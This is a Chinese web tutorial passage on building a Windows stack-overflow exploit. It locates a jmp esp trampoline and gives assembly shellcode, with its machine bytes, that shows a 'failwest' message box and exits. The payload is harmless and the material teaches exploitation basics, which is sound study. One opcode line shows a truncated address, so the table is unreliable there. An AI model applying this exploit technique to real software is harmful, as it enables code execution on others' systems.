当前位置:首页 > 经验 >

shellcode应该放在哪(shellcode使用教程)

来源:原点资讯(www.yd166.com)时间:2022-11-07 08:38:25作者:YD166手机阅读>>

图4

搜索结束后,点击OllyDbg中的“L”快捷按钮,就可以在日志窗口中查看搜索结果了。

运行我们自己编写程序搜索跳转地址得到的结果和OllyDbg插件搜到的结果基本相同,如图:



shellcode应该放在哪,shellcode使用教程(5)

图5

注意:跳转指令的地址将直接关系到exploit的通用性。事实上kernel32.dll与user32.dll在不同的操作系统版本和补丁版本中,也是有所差异的。最佳的跳转地址位于那些“千年不变”且被几乎所有进程都加载的模块中。选择哪里的跳转地址将直接影响到exploit的通用性和稳定性。

这里不妨采用位于内存0x77DC14CC处的跳转地址jmp esp作为定位shellcode的“跳板”————我并不保证这个地址通用,请你在自己的机器上重新搜索。

在制作exploit的时候,还应当修复第5讲中的shellcode无法正常退出的缺陷。有几种思路,可以恢复堆栈和寄存器之后,返回到原来的程序流程,这里我用个简单点的偷懒的办法,在调用MessageBox之后通过调用exit函数让程序干净利落的退出。

这里仍然用dependency walker获得这个函数的入口地址。如图,ExitProcess是kernel32.dll的导出函数,故首先查出kernel32.dll的加载基址:0x7C800000,然后加上函数的偏移地址:0x0001CDDA,得到函数入口最终的内存地址0x7C81CDDA。

shellcode应该放在哪,shellcode使用教程(6)

图6

写出的shellcode的源代码如下:

#include <windows.h>

int main()

{

HINSTANCE LibHandle;

char dllbuf[11] = "user32.dll";

LibHandle = LoadLibrary(dllbuf);

_asm{

sub sp,0x440

xor ebx,ebx

push ebx // cut string

push 0x74736577

push 0x6C696166//push failwest

mov eax,esp //load address of failwest

push ebx

push eax

push eax

push ebx

mov eax,0x77D804EA // address should be reset in different OS

call eax //call MessageboxA

push ebx

mov eax,0x7C81CDDA

call eax //call exit(0)

}

}

为了提取出汇编代码对应的机器码,我们将上述代码用VC6.0编译运行通过后,再用OllyDbg加载可执行文件,选中所需的代码后可直接将其dump到文件中:

shellcode应该放在哪,shellcode使用教程(7)

图7

TIPS:不如直接在汇编码中加一个__asm int3,OD启动后会自动停在shellcode之前。

通过IDA Pro等其他反汇编工具也可以从PE文件中得到对应的机器码。当然如果熟悉intel指令集的话,也可以为自己编写专用的由汇编指令到机器指令的转换工具。

现在我们已经具备了制作新exploit需要的所有信息:

搜索到的jmp esp地址,用作重定位shellcode的“跳板”:0x77DC14CC

修改后并重新提取得到的shellcode:

机器代码(16进制) 汇编指令 注释

33 DB XOR EBX,EBX 压入NULL结尾的”failwest”字符串。之所以用EBX

清零后入栈做为字符串的截断符,是为了避免

“PUSH 0”中的NULL,否则植入的机器码会被

strcpy函数截断。

53 PUSH EBX

68 77 65 73 74 PUSH 74736577

68 66 61 69 6C PUSH 6C696166

8B C4 MOV EAX,ESP EAX里是字符串指针

53 PUSH EBX 四个参数按照从右向左的顺序入栈,分别为:

(0,failwest,failwest,0)

消息框为默认风格,文本区和标题都是“failwest”

50 PUSH EAX

50 PUSH EAX

53 PUSH EBX

B8 EA 04 D8 77 MOV EAX, 0x77D804EA 调用MessageBoxA。注意不同的机器这

里的函数入口地址可能不同,请按实际值填入!

FF D0 CALL EAX

53 PUSH EBX 调用exit(0)。注意不同的机器这里的函数入口地址可

能不同,请按实际值填入!

B8 DA CD 81 7C MOV EAX, 0x7C81CD

FF D0 CALL EAX

按照第5讲中对栈内情况的分析,我们将password.txt制作成如下形式:



shellcode应该放在哪,shellcode使用教程(8)

栏目热文

shellcode类书(shell编程零基础的书籍)

shellcode类书(shell编程零基础的书籍)

书籍简介黑客与渗透测试编程之道本书是畅销书《Python 灰帽子—黑客与逆向工程师的 Python 编程之道》的姊妹篇,...

2022-11-07 08:07:13查看全文 >>

shellcode执行方式(shell脚本的执行方法)

shellcode执行方式(shell脚本的执行方法)

本篇主要是以x64系统为例对系统调用中一些功能性函数的解读和实际运用。目前网络上流传的通用shellcode,均使用系统...

2022-11-07 08:13:07查看全文 >>

shellcode到底是啥(shellcode使用教程)

shellcode到底是啥(shellcode使用教程)

零基础学黑客领资料搜公众号:白帽子左一因前段时间退出了内网的学习,现在开始复习web方面的漏洞了,于是乎,开始了挖洞之旅...

2022-11-07 08:17:00查看全文 >>

shellcode生成可执行文件(shell脚本怎么变成可执行文件)

shellcode生成可执行文件(shell脚本怎么变成可执行文件)

原创: EDI-VOID 合天智汇0x00 shellcode编写首先shellcode的编写可以用纯汇编也可以用c ...

2022-11-07 08:36:40查看全文 >>

shellcode编码(shellcode代码)

shellcode编码(shellcode代码)

前言在做红蓝攻防时,常常要用到cs、msf等工具,使用工具生成shellcode或可执行程序,那么小小的shellcod...

2022-11-07 08:22:18查看全文 >>

通用shellcode编写实例(shellcode执行原理)

通用shellcode编写实例(shellcode执行原理)

1)编写 hello world 脚本#!/bin/bash # 编写hello world脚本 echo "...

2022-11-07 08:06:54查看全文 >>

shellcode怎么写(shellcode开发)

shellcode怎么写(shellcode开发)

这是2008年写的文章, 没有正式发表过,里面使用的环境不记得是i386Linux还是AMD64的Linux了。其实,叫...

2022-11-07 08:12:49查看全文 >>

shell脚本原理(shell脚本 基本知识)

shell脚本原理(shell脚本 基本知识)

Spring框架最新的PoC这两天出来的一个RCE漏洞,但是有以下的条件限制才行:必须是jdk9及以上必须是部署在tom...

2022-11-07 08:01:55查看全文 >>

shellcode免杀原理(shellcode免杀技巧)

shellcode免杀原理(shellcode免杀技巧)

原创AgeloVito合天智汇0x01 前言​ 2019年,告别了coder的世界,告别了从前的生活。我决定暂时抛开金钱...

2022-11-07 08:06:49查看全文 >>

shellcode一般满足什么要求(shellcode编程揭秘)

shellcode一般满足什么要求(shellcode编程揭秘)

作者:WeaponX预估稿费:400RMB投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿背景最近在...

2022-11-07 08:08:51查看全文 >>

文档排行